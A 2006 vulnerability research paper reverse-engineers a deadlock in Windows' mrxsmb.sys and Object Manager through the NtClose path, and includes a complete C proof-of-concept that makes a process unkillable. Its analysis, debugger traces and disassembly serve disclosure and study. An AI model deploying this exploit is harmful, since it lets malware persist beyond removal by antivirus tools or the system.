REVERSING MRXSMB.SYS
CHAPTER II

"NtClose DeadLock"

Rubén Santamarta
ruben@reversemode.com
www.reversemode.com

May 15, 2006

Abstract

Kernel Object Manager is prone to a deadlock situation which could be exploitable making unkillable any process running, complicating its elimination.

INDEX

1.OVERVIEW

One of the most critical issues at the time of designing operating systems, is the synchronization. There is a considerable amount of cases in a so complex system. All of them should be studied in order to avoiding *deadlocks,* also improving the accuracy of the system.

We will see how a nonusual situation is erroneously handled by the Object Manager(OM from now on), causing a deadlock which opens a important security breach on the affected system . Malware, rootkits... could take it as advantage for several purposes ; the worst case would be malware in the wild exploiting this vulnerability since it could not be deleted by either an antivirus or the own operating system.

2.INTRODUCTION

In this paper we will see how a potentially dangerous routine allows to exploit this flaw.

Mrxsmb.sys implements three functions which deal with file opearations: open, access and close. These functions can be requested from user-mode by using IOCTLs. Briefly :

1.MRxSmbCscIoctlOpenForCopyChunk (See [1] for further information)
This function obtains a handle for certain file.
Vulnerability: It allows to execute code in Ring0.
.
2.MRxSmbCscIoctlCloseForCopyChunk
This function closes a handle.
Vulnerability: It allows to exploit the flaw explained. In addition, another potentially dangerous operations could be performed.

This paper will be focused on **MrxSmbCscIoctlCloseForCopyChunk.**

3.OBSERVATION

Cscdll.dll calls **MrxSmbCscIoctlCloseForCopyChunk** as follows

cscdll.dll code

```
.text:765BCCEE    push    0                                ; lpOverlapped
.text:765BCCF0    push    offset _DummyBytesReturned ; lpBytesReturned
.text:765BCCF5    push    18h                              ; nOutBufferSize
.text:765BCCF7    push    [ebp+lpOutBuffer]                ; lpOutBuffer
.text:765BCCFA    push    0                                ; nInBufferSize
.text:765BCCFC    push    0                                ; lpInBuffer
.text:765BCCFE    push    141047h                          ; dwIoControlCode
.text:765BCD03    push    esi                              ; hDevice
.text:765BCD04    call    ds:__imp__DeviceIoControl
```

Microsoft developers swapped in this case InBuffer by OutBuffer, so OutBuff is InBuffer. By this way the handle is passed as parameter in the variable OutBuffer[3].

The interesting part inside mrxsmb.sys.

mrxsmb.sys code

```
PAGE:000686E3    mov     eax, [eax+0Ch]          ; Our handle
PAGE:000686E6    cmp     eax, 0FFFFFFFFh         ; is correct?
PAGE:000686E9    jz      short loc_68702
PAGE:000686EB    push    eax                     ; Handle
PAGE:000686EC    call    ds:__imp__NtClose@4
```

Apparently nothing outside the normal thing, we passed the handle and then it is closed. The handle is closed in Ring0 so it allows us to perform operations over handles which we would not have access to, despite of the fact that the driver is using NtClose , not ZwClose.

```
hDevice = CreateFile("\\\\.\\shadow", FILE_EXECUTE,FILE_SHARE_READ|FILE_SHARE_WRITE,
                NULL, OPEN_EXISTING, 0, NULL);
```

What would happen whether "hDevice" is passed as parameter ?

Exploit code

```
////////////////////////////////////////////////////////////////////////////
///////// MRXSMB.SYS NtClose DEADLOCK exploit///
////////////////////////////////////////////////////////////////////////////
//November 19,2005
////////////////////////////////////////////////////////////////////////////
//ONLY FOR EDUCATION PURPOSES
////////////////////////////////////////////////////////////////////////////
// Rubén Santamarta
// ruben (at) reversemode (dot) com   [email concealed]
// https://www.reversemode.com
////////////////////////////////////////////////////////////////////////////

#include <windows.h>
#include <stdio.h>


#define MAGIC_IOCTL 0x141047
```

```
VOID ShowError()
{
 LPVOID lpMsgBuf;
 FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,
              NULL,
              GetLastError(),
              MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
              (LPTSTR) &lpMsgBuf,
              0,
              NULL);
 MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0);
 exit(1);
}


VOID IamAlive()
{
 DWORD i;

 for(i=0;i<0x1000;i++)
 {
  Sleep(1000);
  printf("\rI am a Thread and I am alive [%x]",i);
 }

}


VOID KillMySelf()
{

 DWORD junk;
 DWORD *OutBuff;
 DWORD *InBuff;
 BOOL bResult;
 HANDLE hDevice;
 DWORD i;

  hDevice = CreateFile("\\\\.\\shadow", FILE_EXECUTE,FILE_SHARE_READ|FILE_SHARE_WRITE,
                    NULL, OPEN_EXISTING, 0, NULL);

  if (hDevice == INVALID_HANDLE_VALUE) ShowError();

  OutBuff=(DWORD*)malloc(0x18);
  if(!OutBuff) ShowError();

  OutBuff[3]=(DWORD)hDevice;

  DeviceIoControl(hDevice,
                MAGIC_IOCTL,
                0,0,
                OutBuff,0x18,
                &junk,
                (LPOVERLAPPED)NULL);
  // MAIN THREAD ENDING.
}


int main(int argc, char *argv[])
{

 LPTHREAD_START_ROUTINE GoodThread;
 DWORD dwThreadId;
```

```
 DWORD bResult;
 GoodThread=(LPTHREAD_START_ROUTINE)IamAlive;


  printf("-=[MRXSMB.SYS NtClose Vulnerability POC]=-\n");
  printf("\t(Only for educational purposes)\n");
  printf("..http://www.reversemode.com..\n\n");
  printf("Launching Thread ...");

  // PUT YOUR "GOOD" OR "BAD" CODE HERE
  // e.g GoodThread
  CreateThread(NULL,0,GoodThread,0,0,&dwThreadId);


  printf("Done\n");
  printf("I am going to dissapear,but I will be with you forever\n");
  printf("(..)\n\n");
  KillMySelf(); // Immortal mode "on" ;)

  return(1);
}
```

Compile and run. Try to kill it but...surprise,surprise.

Microsoft Kernel Debugger

```
PROCESS 8204e760  SessionId: 0  Cid: 0ee8    Peb: 7ffde000  ParentCid: 0628
    DirBase: 16009000  ObjectTable: e1160480  HandleCount:   2.
    Image: pof.exe
```

The exploit is still running. Why? Magic? Miracle? I do not think so...

4.HYPOTHESES

```
lkd> !process 8204e760
PROCESS 8204e760  SessionId: 0  Cid: 0ee8    Peb: 7ffde000  ParentCid: 0628
    DirBase: 16009000  ObjectTable: e1160480  HandleCount:   2.
    Image: pof.exe
    VadRoot 823381d8 Vads 36 Clone 0 Private 59. Modified 6. Locked 0.
    DeviceMap e21bd278
    Token                             e2d6e4a0
    ElapsedTime                       00:23:25.484
    UserTime                          00:00:00.015
    KernelTime                        00:00:00.000
    QuotaPoolUsage[PagedPool]         15996
    QuotaPoolUsage[NonPagedPool]      1440
    Working Set Sizes (now,min,max)  (255, 50, 345) (1020KB, 200KB, 1380KB)
    PeakWorkingSetSize                306
    VirtualSize                       14 Mb
    PeakVirtualSize                   16 Mb
    PageFaultCount                    314
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      94

        THREAD 82054898  Cid 0ee8.04f8  Teb: 7ffdd000 Win32Thread: e2316970 WAIT:
(Executive) KernelMode Non-Alertable
            8205b61c  SynchronizationEvent
        IRP List:
            822b0920: (0006,0094) Flags: 00000000  Mdl: 00000000
        Not impersonating
        DeviceMap                 e21bd278
        Owning Process            8204e760       Image:         pof.exe
        Wait Start TickCount      12314205       Ticks: 44586 (0:00:11:36.656)
        Context Switch Count      40                 LargeStack
        UserTime                  00:00:00.0000
        KernelTime                00:00:00.0000
        Start Address kernel32!BaseProcessStartThunk (0x7c810867)
        Win32 Start Address 0x00401220
        Stack Init a9e47000 Current a9e4682c Base a9e47000 Limit a9e43000 Call 0
        Priority 12 BasePriority 8 PriorityDecrement 2 DecrementCount 16
```

Microsoft Kernel Debugger

It seems that there is “something” avoiding that our program can “die” correctly .

```
WAIT: (Executive) KernelMode Non-Alertable
```

The main thread is waiting for an event of synchronization. Also we can see an IRP not completed.

```
lkd> !irp 822b0920
Irp is active with 1 stacks 1 is current (= 0x822b0990)
 No Mdl Thread 82054898:  Irp stack trace.
     cmd  flg cl Device   File     Completion-Context
>[  e, 0]   0  0 81797c00 8205b5d0 00000000-00000000
             \FileSystem\MRxSmb
                   Args: 00000018 00000000 00141047 0022ffa8
```

Microsoft Kernel Debugger

The IRP has been buildt by the IOM. Mrxsmb.sys should have set an Status to it. So, our program is hunged completely at some point of the "far" kernel-mode.

Loading Russinovich´s Process Explorer

Process Explorer Thread Stack information screen
ntoskrnl.exe!ExReleaseResourceLite+0x206
ntoskrnl.exe!RtlRemoveUnicodePrefix+0x8a4
ntoskrnl.exe!IoCheckFunctionAccess+0x769d
ntoskrnl.exe!RtlAddAtomToAtomTable+0x3f4
ntoskrnl.exe!RtlAddAtomToAtomTable+0x59e
ntoskrnl.exe!RtlAddAtomToAtomTable+0x60f
ntoskrnl.exe!NtClose+0x1d **<=== Curious ;)**
mrxsmb.sys+0x586f2
mrxsmb.sys+0x2e3ca
mrxsmb.sys+0x2dfd6
rdbss.sys+0x12c9d
rdbss.sys!RxpAcquirePrefixTableLockExclusive+0x297
rdbss.sys!RxAllocatePoolWithTag+0x311
rdbss.sys!RxFsdDispatch+0x9a
mrxsmb.sys+0x24097
ntoskrnl.exe!IofCallDriver+0x32
ntoskrnl.exe!IoCreateFileSpecifyDeviceObjectHint+0x347
ntoskrnl.exe!NtDeviceIoControlFile+0x2a
ntoskrnl.exe!ZwYieldExecution+0xb78
ntdll.dll!KiFastSystemCallRet+0x4
ntdll.dll!KiFastSystemCallRet
ntdll.dll!ZwDeviceIoControlFile+0xc
!DeviceIoControl+0xdd

At this point we should begin to consider seriously the possibility that the OM is not handling the situation correctly. Focusing on NtClose.

5.PREDICTIONS

How NtClose works?. The flow would be as follows (extremely compressed):

Firstly, it compares the handle with kernel handles (value> 0x80000000). Then it obtains the process handle table, looking up for the handle, checks whether it is closeable or not, if not it returns an error code. In affirmative case, the object is deleted from the list of kernel objects table associated to the process, decrementing the handle count. Finally it obtains the device associated with the object and builds an IRP to inform the driver associated with the device about operation performed.

Why is this not correct in our case?

Tip!

The FileObject Structure.

```
dt nt!_FILE_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT
   +0x008 Vpb              : Ptr32 _VPB
   +0x00c FsContext        : Ptr32 Void
   +0x010 FsContext2       : Ptr32 Void
   +0x014 SectionObjectPointer : Ptr32 _SECTION_OBJECT_POINTERS
   +0x018 PrivateCacheMap  : Ptr32 Void
   +0x01c FinalStatus      : Int4B
   +0x020 RelatedFileObject : Ptr32 _FILE_OBJECT
   +0x024 LockOperation    : UChar
   +0x025 DeletePending    : UChar
   +0x026 ReadAccess       : UChar
   +0x027 WriteAccess      : UChar
   +0x028 DeleteAccess     : UChar
   +0x029 SharedRead       : UChar
   +0x02a SharedWrite      : UChar
   +0x02b SharedDelete     : UChar
   +0x02c Flags            : Uint4B         <= attention please!
   +0x030 FileName         : _UNICODE_STRING
   +0x038 CurrentByteOffset : _LARGE_INTEGER
   +0x040 Waiters          : Uint4B         <= attention please!
   +0x044 Busy             : Uint4B         <= attention please!
   +0x048 LastLock         : Ptr32 Void
   +0x04c Lock             : _KEVENT        <= attention please!
   +0x05c Event            : _KEVENT
   +0x06c CompletionContext : Ptr32 _IO_COMPLETION_CONTEXT
```

Microsoft Kernel Debugger

```
ntoskrnl.exe code
PAGE:004BE733           or     byte ptr [edi+2Eh], 4     FO_SYNCHRONOUS_IO? Yes!
PAGE:004BE737           mov    [ebp+FileObject], eax
PAGE:004BE73A           test   byte ptr [edi+2Ch], 2    FO_HANDLE_CREATED?  Yes!
PAGE:004BE73E           jz     short loc_4BE781
PAGE:004BE740           lea    eax, [edi+44h]          +0x044 Busy
PAGE:004BE743           mov    [ebp+NewIrql], eax
PAGE:004BE746           mov    edx, 1
PAGE:004BE74B           mov    ecx, [ebp+NewIrql]
PAGE:004BE74E           mov    eax, [ecx]
PAGE:004BE750
PAGE:004BE750 loc_4BE750:                       ; CODE XREF: sub_4BE55E+1F5#j
PAGE:004BE750           cmpxchg [ecx], edx
PAGE:004BE753           jnz    short loc_4BE750
PAGE:004BE755           cmp    eax, ebx            Busy or Not?
PAGE:004BE757           jnz    short loc_4BE76F    Yes!
```

The FO_SYNCHRONOUS_IO flag tell us whether a file object has been created to perform a synchronous operation.

The “Busy” member of the FILE_OBJECT structure tell us whether at the moment of the operation the object is being used by “something” or “somebody”. The OM serializes the synchronous operations so it needs these members. Obviously the object was being used by us, so this member is equal to 1.

```
ntoskrnl.exe code
PAGE:004BE76F loc_4BE76F:                       ; CODE XREF: sub_4BE55E+1F9#j
PAGE:004BE76F               xor     al, al
PAGE:004BE771
PAGE:004BE771 loc_4BE771:                       ; CODE XREF: sub_4BE55E+20F#j
PAGE:004BE771               test    al, al
PAGE:004BE773               jnz     short loc_4BE781
PAGE:004BE775               lea     eax, [ebp+arg_10]
PAGE:004BE778               push    eax             ; int
PAGE:004BE779               push    ebx             ; Alertable
PAGE:004BE77A               push    ebx             ; WaitMode
PAGE:004BE77B               push    edi             ;int
PAGE:004BE77C               call    sub_4AA6E6
ntoskrnl.exe code
PAGE:004AA6E6 ; int __stdcall sub_4AA6E6(int,KPROCESSOR_MODE WaitMode,BOOLEAN Alertable,int)
PAGE:004AA6E6 sub_4AA6E6      proc near             ; CODE XREF: IoSetInformation+6A#p
PAGE:004AA6E6                                       ; sub_49F1FC+F7#p ...
PAGE:004AA6E6
PAGE:004AA6E6 var_4           = dword ptr -4
PAGE:004AA6E6 arg_0           = dword ptr  8
PAGE:004AA6E6 WaitMode        = byte ptr  0Ch
PAGE:004AA6E6 Alertable       = byte ptr  10h
PAGE:004AA6E6 arg_C           = dword ptr  14h
PAGE:004AA6E6
PAGE:004AA6E6               push    ebp
PAGE:004AA6E7               mov     ebp, esp
PAGE:004AA6E9               push    ecx
PAGE:004AA6EA               mov     eax, [ebp+arg_C]
PAGE:004AA6ED               push    ebx
PAGE:004AA6EE               push    esi
PAGE:004AA6EF               mov     esi, [ebp+arg_0]
PAGE:004AA6F2               and     byte ptr [eax], 0
PAGE:004AA6F5               push    edi
PAGE:004AA6F6               lea     edi, [esi+40h]              0x040 =Waiters
PAGE:004AA6F9               mov     [ebp+arg_0], edi
PAGE:004AA6FC               mov     eax, 1
PAGE:004AA701               mov     ecx, [ebp+arg_0]
PAGE:004AA704               xadd    [ecx], eax                  Waiters++;
PAGE:004AA707               inc     eax
PAGE:004AA708               lea     ebx, [esi+44h]
PAGE:004AA70B
PAGE:004AA70B loc_4AA70B:                       ; CODE XREF: sub_4AA6E6+64#j
PAGE:004AA70B               cmp     dword ptr [ebx], 0          Busy == FALSE?
PAGE:004AA70E               jnz     short loc_4AA726            Our FileObject is very busy man!
                            [...]
PAGE:004AA726
PAGE:004AA726 loc_4AA726:                       ; CODE XREF: sub_4AA6E6+28#j
PAGE:004AA726               push    0           ; Timeout       No TimeOut
PAGE:004AA728               lea     eax, [esi+4Ch]              FileObject Lock
PAGE:004AA72B               push    dword ptr [ebp+Alertable] ; Alertable =    Non Alertable
PAGE:004AA72E               push    dword ptr [ebp+WaitMode] ; WaitMode= KernelMode
PAGE:004AA731               push    0           ; WaitReason
PAGE:004AA733               push    eax         ; Object    ;Our Lock

PAGE:004AA734               call    KeWaitForSingleObject  <=  KeWaitForDeadLock ;)
```

This deadlock should illustrate all the books about “writing secure code”. It has all the elements that a good DeadLock needs ;)

6.THEORY

Once we have understood everything what we have seen, it is time to build a theory which explains this abnormal behavior.
Before notifying to the Device associated with the object, the OM verifies if the file has been constructed for a synchronous operation. Then, the OM verifies that our object is busy and the Waiters field is increased by one, both fields are used to serialize synchronous operations. But the OM makes a mistake, it estimates erroneously that we are not those that are locking the object. So the OM is keeping our thread in a state in which the thread is waiting for a lock that will never be released.

The sucessful exploitation of the vulnerability provokes that the handle will never be deleted so the thread will never be able to finish because while a thread maintains one handle active, the thread will remain active on the system.In addition, nobody will be able to delete the file associated to the thread. Nobody will be able to kill the process completely.

Como decimos por aquí : “chungo”.

7.TESTING WITH Kartoffel

Kartoffel is an Open Source (GPL) Driver Verification Tool that I have developed.
Using Kartoffel you can test this vulnerability quickly.

```
>kartoffel -s \\.\Shadow -n 0 -o 0x10 -z 0 -Z 0x18 -U VALUE,HANDLES -c 2000  -I 141047
Output
Input Size:[0x0000]

      Ouput Size:[0x0018]

            IOCTL:[0x00141047]      -> Response received [IOM notified]

[ RESULTS ] ____________________________________________________________


Test ID [ 0x0001 ] ----------------------------------------------------------

[ FUZZING ]

- Input Buffer  Size: (0x0000) Method: "" Submethod: ""
- Output Buffer Size: (0x0018) Method: "VALUE" Submethod: "HANDLES"
- IOCTL        [ 0x00141047 ]
            => DEVICE:      FILE_DEVICE_NETWORK_FILE_SYSTEM
            => ACCESS:      ANY ACCESS
            => FUNCTION:    0x0411
            => METHOD:      METHOD_NEITHER

[ FLAW ]

 - POSSIBLE DEADLOCK DETECTED -

[ BUFFERS ]
```

```
[INPUT BUFFER] = NULL

Original Data [OUTPUT BUFFER]

[0x000]: 000007E8      000007E8      000007E8      000007E8
```

Kartoffel is available for download at www.reversemode.com

8.REFERENCES

1.Rubén Santamarta, "Reversing Mrxsmb.sys Chapter I. Getting Ring0".
<http://www.reversemode.com> June 8, 2006

2.Microsoft Developers Network Online
<http://msdn.microsoft.com> June 8, 2006


```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.2 (MingW32)

mQGiBEOLXR8RBAC+CP5OBdAnccP6H3Sy9YwPDA2AUJ6d0tTfYWQVWNLKcbF12tQp
tCNqPJlR6Gx2UZMphdUlPwEZ1PwuENSmJuabuN09GZ4/cr+VVXPOHh2cHfYej/W3
JOpSVhPH539noSxAwQrojU6EpKvHcunfLT43lN9qSsYSizohgMqISEs2BwCgzMJM
8tmc8I7m0kIocnNd+gH0uu0EAIxgH9oauDiWVSRJYvpdi6YKGRwV9ZuuO5Cx4bts
VucKhVLXatDYsUuMvrIsd3palCI90dMA0wEK8XpemMqXA91bXpyrZHwVLRcUWlrH
WJCA53zgPTHRg77GTO04gLkdzrmcljiq8kglJo7EM2ICGEQ4UYU1gyu6r84NeLSn
dXI0A/9ZJDdIASAmoC7+uuVv+tA/9kqXwQGVJYwu137H/A3m5RWdNAVusOEhpOdR
YZwYGuLojgoy9j5zUfy+tc9JtKPjUGPth7YGSQycOwr4symlKx9W4/LagJk5ZBQW
C+Og33oELl48EqjIvIHm3h2P6vUZaP2R8wVJe1bcOE6OCty/U7QoUnViZW4gU2Fu
dGFtYXJ0YSA8cnViZW5AcmV2ZXJzZW1vZGUuY29tPohmBBMRAgAmBQJDi10fAhsD
BQkDwmcABgsJCAcDAgQVAggDBBYCAwECHgECF4AACgkQ2pGo2fjs1O3RfwCZAfdi
rSY+jD04Oscd+BKZKFScQhIAoKXKIp7DWKESjEGiXjQYPllFBUdFuQINBEOLXUMQ
CAC5M6M0uH+xk5SouFur7FXhOXOlNFGHa7ADI5CRIfiTyFdjuLb5vZTWFdevSEm/
oEVh0pEHY0uPv8B+f8bwdBljdZn/MCkfT4Y4Q4jLyKKJAYrYHJamxeCZxlCvF68/
YRucXryohGIP1YsXz0w2v4cNPALbAUV9hD5DaD933G2rJZ1POHjwkTUWFl7upwT9
yfGgf0w3oL1oyQsD0hgqyqzFXtVepH4wZgt/yodDcPrZjXwPV9pGtEdTZQXn8NXC
p9OGfVIAeh86j8RCOuoMkejxl/5w/9bxjCmQlCLtDdcs62hX2cpdgRkMzod83egV
J5pQy2orWsEb7SMRXUGn6JrHAAQNB/0fGGszanhz047AuJM/GTaXpiOlCHIOgFAz
X9/Tt0mRWwF0f/fv4HrTH5TJGqXpnMTC3bizAXRmDh1NThqQ9iTXJCi7iwVOtt0x
G55VYuIUEwJ0WNJ4sy/MEE1qoyqW7MgGOtHZ2vkxiJKsraBiJdK/n1oePKh06u2z
9Y2l3PJtB7+nlVITkehCTlJ5VNhDgQ8D44cyxaxTZD6bDqaE+NX2lcqUM1dKNm0W
gkVOyjNXlYp/sFiQXYGUApYsMIbubQOI67YS5ReHAUKjPuZGswgbN+4eiwfCuyeM
zxWWq4wtEGpVcH1jqZ53QQNiBYm4Xw5WHbN+nxb86xxagabBikeBiE8EGBECAA8F
AkOLXUMCGwwFCQPCZwAACgkQ2pGo2fjs1O3M0wCfUVbtbjwRbmgAvXOGrv38alEI
p6UAoILzgf6ktJwUchyuxwuEZzhMNqEL
=iSHC
-----END PGP PUBLIC KEY BLOCK-----
```